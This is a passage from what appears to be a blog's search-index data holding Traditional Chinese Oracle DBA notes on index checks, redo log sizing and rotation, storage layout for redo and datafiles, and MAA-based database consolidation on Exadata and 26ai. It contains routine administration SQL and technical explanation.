SQL 來檢查索引類型：\n1 2 3 SELECT index_name, index_type, visibility, status FROM dba_indexes WHERE index_name = \u0026#39;你的索引名稱\u0026#39;; (在 INDEX_TYPE 欄位中，你會看到 NORMAL 代表 BTree，而 BITMAP 則代表點陣圖索引。)*\n","date":"April 7, 2026","externalUrl":null,"permalink":"/oracle-database/oracle-index-maintain/","section":"Oracle-Databases","summary":"Oracle 11g # 1. 清查統計資訊：確認資料的「新鮮度」 # 在 11g，如果 LAST_ANALYZED 太久遠，BLEVEL 的參考價值會大打折扣。\n","title":"Oracle Index 維護方式","type":"oracle-database"},{"content":"","date":"April 7, 2026","externalUrl":null,"permalink":"/tags/%E5%AD%B8%E7%BF%92%E7%AD%86%E8%A8%98/","section":"Tags","summary":"","title":"學習筆記","type":"tags"},{"content":"以下內容待確認，我這邊先筆記\n太棒了！你已經完美地將我們討論的「15-20 分鐘法則」、精確計算公式以及「過大 vs. 過小」的權衡整理成了一份標準作業程序（SOP）。這就是一位優秀 DBA 的養成之路：不僅要解決問題，更要建立可量化的評估標準。\n為了讓你的評估更完整，我將結合你提到的這份 SOP，再補充一個「臨床診斷」的最後拼圖：透過 V$LOG 的狀態監控來驗證設定是否真的合適。\n💡 Redo Log 合適性的「臨床診斷」 # 即便你按照公式算出了 2GB 的建議值，我們仍需觀察資料庫在跑這個大小時的真實反應。請定期檢查 V$LOG 視圖：\n1 SELECT group#, thread#, sequence#, bytes/1024/1024 AS MB, status FROM v$log; 狀態碼解讀與評估重點： # 狀態 (STATUS) 大師解讀 評估含義 UNUSED 全新的日誌組，從未被寫入。 剛建立或剛重建後的狀態，正常。 CURRENT LGWR 正在寫入這一組。 這是你目前正在使用的「肺活量」。 ACTIVE 關鍵狀態！ 日誌已寫滿，但裡面的資料「還沒完全寫入 Datafiles」或「還沒歸檔」。 如果此狀態維持很久，代表 DBWR 寫入太慢，即便 Redo 設大了，瓶頸也會轉移到磁碟 I/O。 INACTIVE 安全狀態。資料已寫入磁碟且已完成歸檔。 理想狀況：當 LGWR 繞一圈回來時，下一組必須是這個狀態，否則就會發生 log file switch 等待。 🛠️ 評估清單 (Checklist) # 當你準備執行調整時，請按以下三個維度做最後確認：\n1. 效能維度 (Performance) # 尖峰時段切換頻率是否落在 15~20 分鐘？ AWR 報告中，log file switch (checkpoint incomplete) 的等待時間是否降至 5% 以下？ 2. 安全維度 (Safety) # 你的日誌組數是否至少有 3 組？（建議 3~4 組，以應對 ACTIVE 狀態的延遲） 你的 Online Redo Log 是否有做 多重化 (Multiplexing)？（在不同磁碟放兩個成員，防止單點毀損導致資料遺失） 3. 恢復維度 (Recovery) # 是否已設定 FAST_START_MTTR_TARGET？（如果 Redo 設很大，建議設為 300 秒或依業務要求調整，平衡恢復速度）。 叮嚀 # 在評估 Redo 設定時，記住一句話：「寧可稍微大一點，也不要剛好夠用。」\n因為業務成長往往是爆發性的（例如突如其來的月底結帳或促銷活動）。如果你算出來是 1.5GB，直接設定成 2GB 通常是更穩健的做法。\n如何評估 Redo size # 1. 核心準則：15 到 20 分鐘法則 # Oracle 官方與資深 DBA 的共識是：在業務高峰期，理想的日誌切換頻率應該控制在每 15 到 20 分鐘一次。\n太頻繁（例如每 2 分鐘切換一次）：會導致頻繁的 Checkpoint（檢查點），產生密集的 I/O 壓力，甚至出現我們之前聊到的 checkpoint incomplete 等待。 太緩慢（例如每 2 小時切換一次）：雖然效能好，但萬一發生實例崩潰（Instance Crash），恢復（Instance Recovery）所需要的時間會變得很長。 以下是官方原文敘述:\n1 It may not always be possible to provide a specific size recommendation for redo log files, but redo log files in the range of 100 MB to a few gigabytes are considered reasonable. Size online redo log files according to the amount of redo your system generates. A rough guide is to switch log files at most once every 20 minutes. 2. 第一步：觀察目前的切換頻率 # 我們先看看你的資料庫目前「呼吸」得如何。請執行以下 SQL，觀察過去幾天每小時的切換次數：\n1 2 3 4 5 6 7 8 SELECT TO_CHAR(first_time, \u0026#39;YYYY-MM-DD\u0026#39;) AS \u0026#34;日期\u0026#34;, TO_CHAR(first_time, \u0026#39;HH24\u0026#39;) AS \u0026#34;小時\u0026#34;, COUNT(*) AS \u0026#34;切換次數\u0026#34; FROM v$log_history WHERE first_time \u0026gt; SYSDATE - 3 -- 觀察過去 3 天 GROUP BY TO_CHAR(first_time, \u0026#39;YYYY-MM-DD\u0026#39;), TO_CHAR(first_time, \u0026#39;HH24\u0026#39;) ORDER BY 1 DESC, 2 DESC; 診斷： 如果「切換次數」在某些尖峰時段大於 6 次（代表不到 10 分鐘就切換一次），那就代表你的 Redo Log 太小了！\n3. 第二步：計算精確的建議大小 # 假設你希望在尖峰時段每 20 分鐘切換一次（即每小時 3 次），公式如下：\n$$建議大小 = \\frac{尖峰時段每小時產生的 Redo 總量}{預期每小時切換次數}$$\n如何取得「尖峰時段每小時產生的 Redo 總量」？ # 你可以從 AWR 報告的 Load Profile 部分查看 Redo size (bytes)，或者執行以下 SQL 取得過去一小時產生的數據量（單位：MB）：\n1 2 3 4 SELECT ROUND(SUM(BLOCKS * BLOCK_SIZE) / 1024 / 1024, 2) AS \u0026#34;每小時產生量_MB\u0026#34; FROM v$archived_log WHERE next_time BETWEEN SYSDATE - 1/24 AND SYSDATE; -- 過去一小時 範例計算： # 假設你的 SQL 顯示過去一小時產生了 6,000 MB (6GB) 的 Redo。 你希望一小時切換 3 次（每 20 分鐘一次）。 計算：$6,000 \\div 3 = 2,000 \\text{ MB}$。 結論： 你的每個 Redo Log Group 應該設定為 2GB。 4. 第三步：如何優雅地更換 Redo Log 大小？ # 在 Oracle 中，你不能直接「修改」現有的日誌大小。你必須採取「先建後拆」的策略：\n新增一組大容量的日誌組： 1 2 3 ALTER DATABASE ADD LOGFILE GROUP 4 (\u0026#39;/u01/app/oracle/oradata/redo04.log\u0026#39;) SIZE 2G; ALTER DATABASE ADD LOGFILE GROUP 5 (\u0026#39;/u01/app/oracle/oradata/redo05.log\u0026#39;) SIZE 2G; ALTER DATABASE ADD LOGFILE GROUP 6 (\u0026#39;/u01/app/oracle/oradata/redo06.log\u0026#39;) SIZE 2G; 手動切換日誌，讓系統使用新的組： 1 ALTER SYSTEM SWITCH LOGFILE; 刪除舊的小容量日誌組： （注意：狀態必須為 UNUSED 或 INACTIVE 才能刪除，如果是 ACTIVE 則需執行 ALTER SYSTEM CHECKPOINT;） 1 ALTER DATABASE DROP LOGFILE GROUP 1; 額外提醒： # 組數（Groups）：在大型系統中，我建議至少配置 3 到 4 組。這可以防止在歸檔進程（ARCn）較慢時，LGWR 繞一圈回來發現第一組還沒歸檔完。 儲存位置：請務必將 Redo Log 放在最快的磁碟（如 NVMe SSD）上，因為這是資料庫寫入效能的終極瓶頸。 設定過大風險 # 如果 Redo Log 設得太大（例如：原本 500MB 就能滿足，你卻設成 50GB），雖然解決了頻繁切換的效能問題，但會引發以下四個核心挑戰：\n1. 實例恢復時間（MTTR）變長 # 這是最致命的缺點。當資料庫發生崩潰（如：斷電、硬體故障）時，Oracle 在重啟時必須執行 Instance Recovery。\n原理：Oracle 需要讀取「最後一個檢查點（Checkpoint）」到「日誌結尾」之間的所有 Redo 記錄，並重新執行（Roll Forward）。 後果：如果日誌太大，兩個檢查點之間的距離過遠，恢復時需要處理的資料量就會非常驚人。原本 2 分鐘能恢復的資料庫，可能變成要跑 20 分鐘甚至更久。 2. 資料遺失風險（Data Loss Exposure）增加 # 在非強同步的環境下，「切換日誌」代表著「歸檔（Archive）」的開始。\n原理：只有當日誌切換後，ARCn 進程才會把資料備份到歸檔路徑。 後果：如果你的日誌大到 5 個小時才切換一次，萬一這期間你的「線上日誌檔（Online Redo Log）」物理損壞了（磁碟壞掉且沒有多重化），你將會損失整整 5 小時的交易資料，因為它們還沒被歸檔。 3. Data Guard 的傳輸延遲 # 如果你有建立 Data Guard（備援資料庫），且使用的是「歸檔傳輸模式」：\n原理：備援機通常在主機「完成日誌切換並歸檔」後，才會接收並套用該歸檔檔。 後果：日誌太大會導致備援機的資料長時間無法更新。假設日誌 10GB，備援機必須等 10GB 全部寫滿後才能收到資料，這會造成顯著的 Transport Lag。 4. 磁碟 I/O 的「大進大出」壓力 # 這與 DBWR（資料庫寫入進程）的行為有關：\n原理：如果日誌很大，DBWR 可能會因為沒有切換壓力而變得「懶惰」，導致緩衝區（Buffer Cache）累積了海量的髒塊（Dirty Blocks）。 後果：當日誌終於要切換，或者你手動執行檢查點時，DBWR 必須在短時間內將巨量資料刷入磁碟。這會造成瞬間的 I/O 峰值（I/O Spike），導致前端交易在那一瞬間感到明顯的卡頓。 的技術平衡術 # 為了避開「太大」的坑，我們通常會搭配一個關鍵參數：FAST_START_MTTR_TARGET。\n專業建議： 如果你因為某些原因必須使用很大的 Redo Log（例如為了應付突發的批次寫入），你可以設定 FAST_START_MTTR_TARGET（單位為秒）。這會強迫 Oracle 在背景更積極地執行增量檢查點，確保萬一當機時，恢復時間能控制在你要求的秒數內。\n思考題： # 我們聊完了「大小」的權衡，你有注意到你的生產環境中，v$log 視圖裡的 STATUS 欄位嗎？\n如果你發現日誌組經常長時間處於 ACTIVE 狀態（而不是 INACTIVE），這通常就是 DBWR 寫入太慢、日誌管理不善的徵兆。你想了解如何解讀這些狀態碼嗎？\nReferance # Database Performance Tuning Guide ","date":"April 6, 2026","externalUrl":null,"permalink":"/oracle-database/how-to-check-need-redo.size/","section":"Oracle-Databases","summary":"以下內容待確認，我這邊先筆記\n太棒了！你已經完美地將我們討論的「15-20 分鐘法則」、精確計算公式以及「過大 vs. 過小」的權衡整理成了一份標準作業程序（SOP）。這就是一位優秀 DBA 的養成之路：不僅要解決問題，更要建立可量化的評估標準。\n","title":"How to check need redo size","type":"oracle-database"},{"content":"這是一個非常關鍵的架構問題。在儲存設備（Storage）的配置上，Redo Log 與 Datafile 的特性截然不同：Redo Log 追求的是「極致的寫入低延遲（Latency）」，而 Datafile 追求的是「穩定且平衡的吞吐量（Throughput）」。\n如果配置不當，Redo Log 的寫入延遲會直接拖慢所有的 COMMIT，讓你的高規伺服器跑起來像老舊電腦。\n身為 Oracle 大師，我為你整理了一套標準的儲存配置最佳實踐：\n1. 物理隔離原則 (Separation of Concerns) # 核心準則：永遠不要將 Online Redo Log 與 Datafiles 放在同一個物理磁碟組（LUN/Disk Group）上。\n原因： Redo Log 是順序寫入（Sequential Write），且寫入非常頻繁。 Datafiles 通常是隨機讀寫（Random R/W）。 如果放在一起，磁碟磁頭（或是 SSD 的控制器通道）必須在順序與隨機操作間不斷切換，產生 I/O 競爭（I/O Contention），導致 Redo 寫入抖動。 2. 針對不同檔案類型的建議配置 # 檔案類型 推薦儲存媒介 推薦 RAID 層級 理由 Online Redo Log 最快 (NVMe SSD / Optane) RAID 10 需要極低的寫入延遲。RAID 10 沒有 RAID 5 的同位檢查開銷，效能最穩。 Datafiles 中/快 (SSD / SAS) RAID 10 或 RAID 5 OLTP 建議 RAID 10；若為 DSS/資料倉儲且預算有限，RAID 5 可接受。 Archive Log 一般 (SAS / SATA) RAID 5 或 6 主要是順序寫入，對延遲要求不高，容量更重要。 Control Files 最快 (與 Redo 相當) 多重化 (Multiplexed) 檔案很小但極重要，應分散放在不同的儲存路徑。 3. 使用 ASM (Automatic Storage Management) 的最佳實踐 # 如果你使用 Oracle ASM（這是現代 DBA 的標配），建議至少規劃兩個 Disk Group：\nA. +DATA (存放 Datafiles) # 用於儲存所有數據文件。 配置建議：使用多個大小相同的 LUN 來確保資料均勻分布（Striping）。 B. +RECO 或 +FRA (存放 Redo, Archive, Control, Backup) # 大師進階建議：雖然這是一個通用做法，但在極高性能需求的系統中，我會建議額外獨立出一個 +REDO 磁碟組。 +REDO：僅放置 Online Redo Log，並使用高品質、低延遲的 SSD。 4. 關鍵配置細節 (微調心法) # 1. 多重化 (Multiplexing) # 不要只依賴儲存設備的 RAID。在 Oracle 層級，你應該：\nRedo Log 每組至少有兩個成員，分別放在不同的磁碟組（例如一個在 +DATA 作為備份，一個在 +REDO 作為主要）。 控制文件（Control Files）至少保留三份，分散在不同路徑。 2. 儲存對齊 (Storage Alignment) # 確保你的作業系統分區、LUN 條帶大小（Stripe Size）與 Oracle 的 DB_BLOCK_SIZE 是對齊的。不對齊會導致「I/O 放大」，原本一個 Block 的讀取會變成兩次實體 I/O。\n3. 非同步 I/O (Asynchronous I/O) # 確保你的儲存掛載參數支援並啟用了 Asynchronous I/O。\n檢查參數：DISK_ASYNCH_IO = TRUE 且 FILESYSTEMIO_OPTIONS = SETALL（若使用檔案系統）。 5. 總結：大師的「滿分佈局」 # 想像你的儲存是一個多層級結構：\n頂層 (SSD/NVMe RAID 10): 專屬給 Online Redo Log 與 Tempfile（Tempfile 頻繁讀寫也需要速度）。 中層 (Flash/SAS RAID 10): 給繁忙的 Datafiles。 底層 (High-Capacity HDD/SAS RAID 5/6): 給 Archive Log 與 備份檔案。 大師的思考題： # 你現在的儲存是使用 SAN (光纖通道) 還是 本地 SSD？\n如果是 SAN，我們還要考慮 HBA 卡的佇列深度（Queue Depth）。如果你的 Redo Log 寫入壓力很大，HBA 卡的設定不當也會造成排隊。\n","date":"April 6, 2026","externalUrl":null,"permalink":"/oracle-database/oracle-file-design/","section":"Oracle-Databases","summary":"這是一個非常關鍵的架構問題。在儲存設備（Storage）的配置上，Redo Log 與 Datafile 的特性截然不同：Redo Log 追求的是「極致的寫入低延遲（Latency）」，而 Datafile 追求的是「穩定且平衡的吞吐量（Throughput）」。\n","title":"Oracle files design","type":"oracle-database"},{"content":" Oracle 資料庫整合最佳實踐深度研究報告：基於 MAA 參考架構與 AI 原生技術的全面實施指南 # 資訊技術（IT）組織在當今瞬息萬變的商業環境中，面臨著日益嚴苛的挑戰，必須在控管成本、提升業務敏捷性、確保系統持續可用、降低資安風險以及交付卓越效能之間取得平衡 1。為了達成這些目標，資料庫整合（Database Consolidation）已成為全球領先企業的核心策略，旨在優化運算資源的利用率，同時簡化紛繁複雜的維運環境。本報告將深入探討 Oracle 資料庫整合的最佳實踐，範圍涵蓋作業系統虛擬化、資源管理技術、多租戶架構、Oracle Exadata 平台，以及 2026 年最新發布的 Oracle AI 資料庫 26ai 與 Exascale 智能資料架構 1。\n資料庫整合的定義與演進背景 # 資料庫整合本質上是指將多個獨立的資料庫部署到單一組運算基礎設施之上的過程。這與傳統的伺服器整合（Server Consolidation）雖有相似之處，但兩者在技術層次與管理範疇上存在本質區別。伺服器整合通常涉及將多個物理伺服器轉換為運行多個虛擬機器（VM）的單一物理節點，而資料庫整合則更進一步，專注於在資料庫引擎層級實現資源的高效共享與隔離 1。\n推動資料庫整合的主要動力在於現代硬體效能的飛躍發展。當前單一伺服器已能提供數百個處理器核心，若不進行整合，這些強大的運算資源將因負載不均而造成巨大的浪費。透過整合，企業能夠在更少的伺服器上運行更多的資料庫，這不僅降低了基礎設施的資本支出（CAPEX），更顯著減少了空間、電力、冷卻及人力維運等營運支出（OPEX）1。在 IT 資產管理中，每個物理伺服器或虛擬機器都被視為一個「配置項」（Configuration Item, CI），必須經過部署、網路連接、安全加固與持續維護。整合後的環境能減少 CI 數量，從而降低整體系統的複雜度 1。\n核心商業目標與整合驅動力 # 實施資料庫整合並非單純的硬體搬遷，而是一項旨在提升企業競爭力的戰略轉型。下表概述了資料庫整合的五大核心目標及其具體的實現價值：\n目標維度 描述與實現價值 預期業務成果 降低成本 透過提升運算資產利用率，減少硬體購買與維護費用；利用 Oracle 資源管理功能實現動態分配 1。 顯著降低總體擁有成本 (TCO) 與每筆交易成本。 簡化管理 透過標準化配置與減少需維護的系統數量（如使用多租戶架構管理多個 PDB），簡化日常維運 1。 提高資料庫管理員 (DBA) 的人機比，縮短維護窗口。 增強安全性 減少系統脆弱點，統一安全策略，並利用 Exadata 內建的安全加固功能強化隔離機制 1。 確保資料符合 PCI 與 HIPAA 等嚴格合規要求 1。 達成可用性目標 透過硬化系統防止故障擴散，部署多層隔離機制縮小「故障影響範圍」（Blast Radius）1。 實現關鍵業務系統的持續可用與零停機維護。 交付預期效能 確保單一資料庫的異常不會影響其他資料庫，精確分配 CPU、記憶體與 I/O 資源 1。 保證各部門應用程式在共享環境下仍能滿足其 SLA 要求。 虛擬機器與叢集技術在整合中的角色 # 在整合架構中，虛擬機器（Virtual Machines, VMs）與 Oracle Real Application Clusters (RAC) 扮演著截然不同但互補的角色。\n虛擬機器的隔離價值 # 虛擬機器允許單一物理伺服器同時運行多個獨立的作業系統（O/S）鏡像，實現層級間的內容隔離。每個作業系統被分配獨立的磁碟、記憶體、CPU 與虛擬網路接口 1。虛擬機器的主要優點在於提供 O/S 層級的安全性與環境分離。例如，可以使用 VM 將開發環境與測試環境分開，或隔離受監管的資料（如 PCI 資料）1。然而，由於每個 VM 都會帶來額外的維護負擔（如安裝、修補與安全監控），Oracle 建議避免「一資料庫一虛擬機器」的配置，轉而推薦在少量的高效能虛擬機器中運行多個資料庫或容器資料庫 1。\nOracle RAC 的持續可用性 # Oracle Real Application Clusters (RAC) 是整合環境中確保高可用性與可調整性的關鍵技術。RAC 允許一個 Oracle 資料庫跨越多個伺服器（或 VM）同時運行，形成主動-主動（Active/Active）叢集 1。當發生伺服器故障、作業系統崩潰或需進行軟體修補時，RAC 叢集能確保資料庫服務不中斷。搭配「應用程式連續性」（Application Continuity）技術，RAC 甚至可以在故障發生時重播執行中的交易，使用戶完全感受不到後端節點的切換 1。\nOracle 多租戶技術：整合的最佳實踐 # 自 Oracle 資料庫 12c 引入，並在 19c、23ai 乃至最新 26ai 版本中不斷強化的多租戶（Multitenant）架構，已成為整合的黃金標準。該架構採用「容器資料庫」（Container Database, CDB）與「可插拔資料庫」（Pluggable Database, PDB）的概念，從根本上改變了資源管理與部署方式 3。\n管理效率提升：多租戶架構允許將數百個 PDB 封裝在一個 CDB 中，實現「以一管多」的運作模式。DBA 僅需執行一次 CDB 層級的備份、修補或升級，所有關聯的 PDB 即可同步受益，極大降低了重複勞動力 1。 極致的整合密度：根據 Oracle 內部測試，與傳統的 VM 整合方案相比，多租戶架構能支持更高的密度。在一項測試中，單一伺服器可支持 123 個 PDB，而同樣的硬體若採用 VM 方案則僅能負載 9 個資料庫，這主要是因為 PDB 共享了 CDB 的背景進程與共享記憶體（SGA）1。 靈活的搬遷與隔離：PDB 可以在不同 CDB 之間快速「拔出」與「插入」。這在升級場景中尤為強大，DBA 可以將 PDB 從 19c 的 CDB 拔出，插入到 26ai 的新 CDB 中，從而完成快速升級 1。 自 Oracle 21c 版本起，多租戶架構已成為唯一的選擇，傳統的非 CDB 架構已正式終結，這進一步強調了掌握此項技術對現代 DBA 的重要性 3。\n資源管理：防範「嘈雜鄰居」效應 # 在共享基礎設施的整合環境中，最擔心的莫過於一個失控的應用程式耗盡所有資源，導致其他業務受損。這被稱為「嘈雜鄰居」（Noisy Neighbor）問題。Oracle 透過資料庫資源管理員（DBRM）與 Exadata I/O 資源管理員（IORM）提供了精密且強大的控制手段 1。\n資源分配的階層結構 # 資源管理可以細化到以下層級：\n物理伺服器與虛擬機器：基礎資源池的劃分。 資料庫與容器資料庫：跨資料庫間的資源競爭控制。 可插拔資料庫 (PDB)：CDB 內部的精細化分配。 消費者組 (Consumer Groups)：資料庫內部的用戶或任務優先級管理 1。 過度訂閱（Over-Subscription）的科學指引 # 過度訂閱是提升利用率的手段，但必須謹慎使用，以免危害系統穩定性。\n記憶體：絕不可過度訂閱。記憶體不足會導致系統分頁（Paging）或交換空間（Swapping）操作，進而引發節點重啟或嚴重效能衰減 1。 CPU 與進程：可以適度過度訂閱。Oracle 建議針對關鍵生產環境，CPU 使用率應保持在物理線程數的 75% 以下，而測試與開發環境則可容忍 2 倍以上的過度訂閱 1。 I/O 資源：在 Exadata 上，IORM 可以根據「份額」（Shares）與「限制」（Limits）動態調節各資料庫的 I/O 優先級，確保關鍵交易不被背景備份或批次處理作業延遲 1。 下表展示了針對不同環境的過度訂閱建議指標：\n環境重要性 CPU 線程建議 建議進程數 記憶體過度訂閱 I/O 份額限制 關鍵生產 不超過 75% 核心數 x 64 禁止 限制在 2x 份額內 非關鍵生產 等於實體線程 核心數 x 64 禁止 限制在 2x 份額內 測試 / QA 2x 實體線程 核心數 x 128 僅限 PDB 層級 (50%) 限制在 4x 份額內 開發 2x 實體線程 核心數 x 128 僅限 PDB 層級 (50%) 限制在 4x 份額內 Oracle Exadata：整合的最佳平台 # 雖然 Oracle 資料庫可以整合在各種平台上，但 Exadata 作為專為資料庫打造的工程系統（Engineered System），在效能與穩定性上具備絕對優勢。Exadata 透過將資料庫處理邏輯下推至儲存層（智慧掃描 Smart Scan），大幅減少了需在網路傳輸的資料量，這對於高密度整合環境至關重要 1。\n效能基準與密度 # 測試數據顯示，即使在較舊的 Exadata X8-2 四分之一機架上，也能在 3 毫秒內的響應時間內整合多達 300 個 OLTP 資料庫 1。隨著 2026 年 X11M 等新一代硬體的推出，單一節點可提供的 OCPU 數量與 Flash 儲存容量大幅增加，進一步推高了整合上限。\n內建安全加固 # Exadata 提供「縱深防禦」的安全設計，包括預先掃描的系統軟體棧、最小化攻擊面以及自動化入侵檢測環境（A.I.D.E.）。A.I.D.E. 會利用 SHA256 雜湊簽名自動檢測關鍵檔案是否被竄改，為整合了眾多敏感資料的平台提供核心防護 1。\nOracle AI 資料庫 26ai：邁向 AI 原生整合 # 2025 年 10 月發布的 Oracle AI 資料庫 26ai，為整合策略注入了全新的動力。這是一個長期支持版本（LTS），不僅取代了 23ai，更標誌著資料庫正式進入「AI 原生」時代 2。\n關鍵創新技術 # AI 向量搜尋（AI Vector Search）：26ai 將向量搜尋與關聯式、JSON 及圖形搜尋原生結合。企業不再需要為 AI 應用單獨建立向量資料庫，而是可以將其整合在統一的 26ai 引擎中，利用 Exadata 的效能處理海量的非結構化資料向量 2。 收斂式資料庫（Converged Database）：26ai 強化了對多種資料模型的支持，包括對 Apache Iceberg 開放表格格式的支援。這使得企業可以在同一個資料庫實例中整合分析、AI 與交易工作負載，減少了資料搬遷與維護多套專用資料庫的成本 2。 True Cache：這是一項應用透明的中間層快取技術，能自動保持交易一致性。在整合環境中，True Cache 可以顯著降低主資料庫的讀取負擔，提升前端應用的響應速度 6。 全方位 AI 整合：從 AI 驅動的自動化管理到針對開發者的資料註釋（Data Annotations），26ai 讓 AI 深入資料庫的每個角落，協助 DBA 更精確地優化整合後的複雜環境 2。 對於已在運行 23ai 的客戶，只需套用 2025 年 10 月的更新包，即可平滑過渡到 26ai，無需進行耗時的升級或應用程式重測，這種持續演進的模式極大降低了整合維護的風險 7。\nExadata Exascale：超彈性智能資料架構 # 伴隨 Exadata 系統軟體 24.1 推出的 Exadata Exascale，是雲端整合技術的另一高峰。Exascale 將儲存管理從資料庫伺服器中解耦，構建了一個超彈性的資源池 1。\nExascale 對整合的變革 # 超彈性擴充：企業可以從小型 VM 叢集與極少量的儲存開始，並隨業務需求隨時擴展。這打破了傳統整合中「必須預購大量硬體」的限制 8。 精簡克隆（Thin Clones）：在整合環境中，開發與測試通常需要大量生產資料的副本。Exascale 的精簡克隆技術僅在資料變更時才佔用實際空間，這使企業能瞬間創建數百個資料庫副本，而不會耗盡儲存容量 1。 集中化 VM 託管：VM 鏡像託管在中央儲存上，簡化了大規模伺服器整合的管理複雜性，並提升了資源共享效率 1。 最大可用性架構（MAA）參考模型 # 整合環境中，任何單一元件的故障都有可能擴散。因此，必須根據業務的 RTO（復原時間目標）與 RPO（復原點目標）將資料庫歸類為不同的 MAA 層級 1。\nMAA 層級 適用場景 核心技術 預期服務水平 銅級 (Bronze) 開發、測試、非關鍵生產 單執行個體、Oracle Restart、備份還原 成本最低，重啟需數分鐘，復原依賴備份 1。 銀級 (Silver) 生產、部門級應用 Oracle RAC、應用程式連續性 實現在單一站點內的零停機維護與秒級故障切換 1。 金級 (Gold) 關鍵任務應用 Active Data Guard、Far Sync 提供跨站點的災難復原，實現零資料遺失 (Zero Data Loss) 1。 金剛級 (Platinum) 極致關鍵業務 GoldenGate 雙向複製、分區技術 (Sharding) 支援零停機升級與全球分佈式部署 1。 實施資料庫整合的標準化流程 # 成功的整合需要詳盡的規劃與執行，以下是 Oracle 推薦的八大步驟實施框架：\n1. 建立資料庫清冊 # 清查所有擬整合的資料庫，包括其名稱、版本、作業系統、關聯應用程式以及當前的 SLA 要求（MAA 層級）1。\n2. 收集資源利用率與增長指標 # 利用 AWR 數據分析現有系統的 CPU、記憶體、I/O 與儲存空間佔用。必須同時考慮歷史增長率與未來的業務計畫 1。\n3. 資源映射與規格校準 # 諮詢硬體供應商，將舊系統的資源需求映射到新平台。例如，從傳統伺服器搬遷到 Exadata 時，由於智慧掃描技術的存在，CPU 需求通常可以減少 25% 至 50% 1。\n4. 確定隔離要求 # 根據資料治理（如 PCI、HIPAA）或環境區隔（開發 vs 生產），決定是採用物理伺服器隔離、VM 隔離還是 PDB 容器隔離 1。\n5. 選擇整合方法 # 優先考慮 Oracle 多租戶架構（CDB/PDB）。對於 19c 以前的舊版本，可能需先進行版本升級或採用「多資料庫共享伺服器」的過渡方案 1。\n6. 按 HA 需求進行分組 # 將具有相似 RTO/RPO 目標的資料庫分組到同一個叢集或容器中。這能優化災難復原架構的投資回报 1。\n7. 執行裝箱（Bin-Packing）模擬 # 按照從大到小的順序，將資料庫分配到預設的「資源形狀」中。這是一個決定需要多少個 VM、多少核心與多少記憶體的關鍵過程 1。\n8. 配置資源管理計畫 # 實施 DBRM 與 IORM 計畫。針對大型關鍵資料庫設置獨立計畫，對大量小型資料庫則採用標準化的「配置設定檔」（Profiles）進行管理 1。\n標準化資源形狀（Resource Shapes）設計 # 為了簡化大規模環境的管理，企業應定義一組標準化的資源分配範本。下表以 Exadata X11M 為例，展示了典型的 OLTP 工作負載資源形狀：\n形狀名稱 分配核心數 (OCPU) 記憶體分配 SGA / PGA 建議 會話數上限 IORM 份額 OLTP Small 4 30 GB 15 GB / 7.5 GB 128 8 OLTP Medium 8 60 GB 30 GB / 15 GB 256 16 OLTP Large 16 120 GB 60 GB / 30 GB 512 32 OLTP 4X Large 64 480 GB 240 GB / 120 GB 2048 128 針對資料倉儲（DW）負載，應調整分配比例，將更多的空間分配給 PGA 以加速大批量數據的排序與聚合處理 1。\n維護與升級的進階策略 # 整合環境下的維護更具挑戰性，因為一個停機窗口會影響多個業務。\n滾動式修補（Rolling Patching）：利用 RAC 技術，每次修補一個節點，同時讓其他節點繼續提供服務。這能實現零停機的季度安全修補 1。 PDB 快速遷移升級：當需要將 PDB 從 19c 升級至 26ai 時，可以利用 PDB Relocate 功能。這能顯著縮短停機時間，因為數據檔案在背景拷貝，僅在切換瞬間有短暫中斷 1。 GoldenGate 26ai 的自動架構演進：在金剛級層級中，最新的 GoldenGate 26ai 支援「自動架構演進」（Automatic Schema Evolution），當來源端資料庫結構發生變化時，目標端能自動同步，大幅減少了手動維護的工作量 9。 容量監控與後續優化 # 整合完成後，持續的監控是維持效能的關鍵。\n監控 IORM 節流（Throttling）：若 DB_IO_WT_SM_RQ（小請求等待時間）大幅增加，說明該資料庫正在被 IORM 限流，管理員需決定是優化應用 SQL 還是增加其 I/O 份額 1。 CPU 等待分析：監控 v$rsrcmgrmetric_history 中的 avg_waiting_sessions。若該值頻繁大於零，代表資料庫正受到資源管理器的 CPU 節流 1。 記憶體大頁檢驗：確保 SGA 始終駐留在 HugePages 中。如果 USE_LARGE_PAGES 設置為 ONLY 且資料庫無法啟動，說明系統層級的大頁分配不足，需及時調整作業系統核心參數（如 kernel.sem 相關設置）1。 結論 # 資料庫整合是當代企業達成卓越維運（Operational Excellence）的基石。透過將多樣化的工作負載集中於 Oracle Exadata 平台，並利用 26ai 的 AI 原生能力與 Exascale 的雲端彈性，組織不僅能大幅降低基礎設施與授權成本，更能在確保安全與高可用性的前提下，交付足以驅動 AI 時代轉型的卓越效能 1。\n成功的整合之路取決於標準化的架構設計與精密的資源控制。遵循 Oracle MAA 最佳實踐，從詳細的清查、科學的資源映射到嚴謹的裝箱模擬，每一個步驟都是確保整合平台長期穩定運行的保障。隨著技術向 26ai 演進，未來的整合將不僅僅是物理資源的匯聚，更是資料語義與智慧處理能力的全面收斂，為企業提供更強大的競爭優勢 1。\n引用的著作 # maa-consolidation.pdf Oracle introduces its AI-native database, Oracle AI Database 26ai, 檢索日期：4月 5, 2026， https://www.oracle.com/database/ai-native-database-26ai/ Oracle 資料庫變革：告別單租戶，擁抱多租戶CDB/PDB 架構 - 會通資訊, 檢索日期：4月 5, 2026， https://www.argotek.com.tw/argoerp-news20251001/ Exadata 数据库云服务器整合最佳实践 - Oracle, 檢索日期：4月 5, 2026， https://www.oracle.com/cn/a/tech/docs/technical-resources/exadata-consolidation.pdf 什麼是Oracle 高可用性？ | Everpure (前身為Pure Storage), 檢索日期：4月 5, 2026， https://www.purestorage.com/tw/knowledge/what-is-oracle-high-availability.html Oracle AI Database 26ai Powers the AI for Data Revolution, 檢索日期：4月 5, 2026， https://www.oracle.com/news/announcement/ai-world-database-26ai-powers-the-ai-for-data-revolution-2025-10-14/ Oracle AI Database 26ai: Next-Gen AI-Native Database for All Your Data - YouTube, 檢索日期：4月 5, 2026， https://www.youtube.com/watch?v=RsG94924cyo 在Exascale 等級基礎架構上佈建Oracle Exadata Database Service, 檢索日期：4月 5, 2026， https://docs.oracle.com/zh-tw/learn/exadb-xs-db/ Announcing Oracle GoldenGate 26ai smarter automation, broader compatibility, and simplified operations | dataintegration, 檢索日期：4月 5, 2026， https://blogs.oracle.com/dataintegration/announcing-oracle-goldengate-26ai-smarter-automation-broader-compatibility-and-simplified-operations ","date":"April 5, 2026","externalUrl":null,"permalink":"/oracle-database/maa-consolidation-tw/","section":"Oracle-Databases","summary":"Oracle 資料庫整合最佳實踐深度研究報告：基於 MAA 參考架構與 AI 原生技術的全面實施指南 # 